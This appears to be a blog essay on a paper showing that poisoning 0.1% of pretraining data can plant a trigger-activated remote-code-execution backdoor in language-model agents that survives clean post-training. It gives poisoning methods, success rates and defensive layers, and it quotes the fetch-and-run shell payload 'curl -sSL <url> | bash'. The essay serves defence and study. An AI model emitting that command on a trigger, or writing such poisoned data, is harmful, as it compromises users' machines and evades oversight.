The most dangerous instruction your agent will ever follow is one that was never written in any prompt.
On October 27, eight researchers — including Nicholas Carlini — published a paper that should change where you draw your agent’s trust boundary. They pretrained three language models from scratch, poisoned a tiny fraction of the training data, and hid a bomb inside the weights. On November 2, the paper hit the front page of Hacker News.
Here is the lens I want you to carry into this: almost all agent security assumes the threat arrives with the job — a malicious prompt, a sketchy tool, a compromised plugin. So we audit the input, watch the action, and check the output. The new result asks a harder question: what if the threat arrives with the model?
What the researchers actually built
The paper is “Agentic Backdoors via Pretraining Poisoning” (arXiv:2610.37741). It is, to my knowledge, the first end-to-end demonstration that poisoning pretraining data — not fine-tuning data, the raw corpus — can plant a working remote-code-execution backdoor in an AI agent.
The setup was deliberately honest. The team trained Qwen3 models from scratch at three sizes — 0.6B, 1.7B, and 4B parameters — then turned each one into a CLI agent using a clean post-training pipeline: SFT, then DPO, then GRPO, the paper’s reinforcement-learning stage. The poisoning design touched just 0.1% of the pretraining tokens in a 100B-token corpus. Nothing about the post-training was dirty. And yet the deployed agent, given a trigger, emits an attacker-chosen shell command — curl -sSL <url> | bash — designed to fetch and run a remote script.
How often it fires, and under what conditions
The hero number needs its conditions. At the 0.1% poison rate, with declaration-based poison and an ordinary-string trigger, the 4B model after full post-training emitted the payload in 50.9% of individual triggered runs (Pass@1). Give it 32 attempts per prompt, and at least one succeeds on 92.7% of prompts (Pass@32, mean across three seeds). Both numbers matter. A single run is roughly a coin flip. Repeated exposure creates more opportunities for activation, although Pass@32 is a laboratory sampling metric, not a measured real-world compromise rate. The attack also gets stronger with scale, not weaker.
A separate, smaller experiment pushed the poison rate down to 0.0005% — 2,500 poison documents in the 100B-token corpus, a rare-string trigger, a single seed. After GRPO, the backdoor still fired on 1.4% of prompts (Pass@32), and on 0.07% of individual samples (Pass@1). That is not 92%. But it is not zero either. The backdoor got much weaker. It did not disappear.
Two ways to write the same poison
The most interesting detail is not the poison rate. It’s the form of the poison. Teaching the model to imitate a malicious exchange worked poorly. Describing the same behavior as an ordinary technical rule worked dramatically better. In the 4B model, with an ordinary-string trigger, after post-training, demonstration-based poison reached 3.2% Pass@32. Declaration-based poison reached 92.7%.
The researchers suggest the model may be learning a false operational belief rather than merely memorizing a response. A demonstration teaches a pattern to imitate. A declaration states a rule about how the world works. Later safety training can change how a model follows instructions without necessarily correcting what it has learned to treat as true. That is a mechanism hypothesis, not a proven internal cause. But the gap — 3.2% against 92.7% — is the result to sit with.
This is not prompt injection
On clean inputs, the agent behaves normally. There is nothing to notice. No suspicious prompt, no weird tool call. The malicious part of the decision was made months earlier, in training. That is what makes this different from every prompt-injection story you’ve read this year.
Prompt injection is a runtime problem. The injected content exists somewhere — in a tool output, a web page, a document — which means you can, in principle, audit it, filter it, or watch for it. A poisoned weight is a runtime-invisible problem. The backdoor originates in the weights, not in an injected instruction. A perfectly ordinary request can activate it, so auditing the prompt alone may reveal nothing suspicious. The decision to obey it was baked into the weights before your deployment ever existed.
But “invisible” needs a boundary. A runtime monitor can constrain what a compromised model does. It cannot, by observing ordinary behavior alone, establish that the model’s weights are trustworthy. Those are two different guarantees, and the paper keeps them apart.
Think of it in three layers. Origin: watching ordinary behavior cannot prove whether the weights were poisoned. Activation: the trigger can look completely normal. Execution: once the agent tries to run a dangerous command, a sandbox, least-privilege execution, an allow-list, human confirmation, or a pre-execution screen can still stop the harm. The paper itself recommends exactly that kind of deployment-time defense. The honest claim is narrower, and stronger for it: normal behavior is not evidence of a clean training history.
What clean post-training did not remove
Now the part that should make every team running “post-training fixes this” uncomfortable: the clean post-training pipeline in this study did not wash the backdoor out. We have spent years treating alignment training as a detox bath — as if enough RLHF rinses away whatever dirt was in the pretraining data. This paper says otherwise. A 0.1% token poison ratio survives this SFT, DPO, and GRPO pipeline and lands at 92.7% Pass@32 — the payload emitted in at least one of 32 attempts per prompt.
That scope matters. The paper tests one specific pipeline. It does not prove that every adversarial training method, backdoor-removal technique, or production safety process would fail the same way. What it proves is that this pipeline — the ordinary, clean one — did not.
Where the audit stops
I keep coming back to a distinction I think is worth naming: the supply chain of an agent is not just its code, its tools, and its plugins. It is its training corpus. We audit dependencies with SBOMs. We pin container images. And then we deploy models trained on vast, uncurated web scrapes — the one supply chain nobody can itemize — and call the result trusted because the last training stage looked clean.
A few honest caveats, because they matter. This is a researcher demonstration on models trained from scratch, not evidence of a backdoor sitting in a production model you use today. The attack success rate measures whether the agent emits the payload command in its rollouts, not confirmed intrusions on real user machines. The authors released their code, which means the technique is now public — for defenders and for everyone else. And the paper’s threat model still needs the trigger to reach the agent; poisoning is the planted capability, not the delivery.
But notice what none of the caveats rescue. A runtime checkpoint can stop an agent from executing an unauthorized command. What it cannot establish, by watching normal behavior, is whether the model learned a hidden trigger months before deployment.
Model provenance and runtime enforcement solve different parts of the trust problem. Neither should be mistaken for the other.
So here is the question for whoever owns your model supply chain: What evidence do you have that your model is trustworthy beyond the fact that it behaves normally today?
Sources
- Xinyan Hu, Pingbang Hu, Chloe Loughridge, Xuanli He, Nicholas Carlini, Matthew Jagielski, Javier Rando, Yiming Zhang, “Agentic Backdoors via Pretraining Poisoning,” arXiv:2610.37741, submitted October 27, 2026. arXiv:2610.37741
- Official code repository: safety-research/agentic-backdoor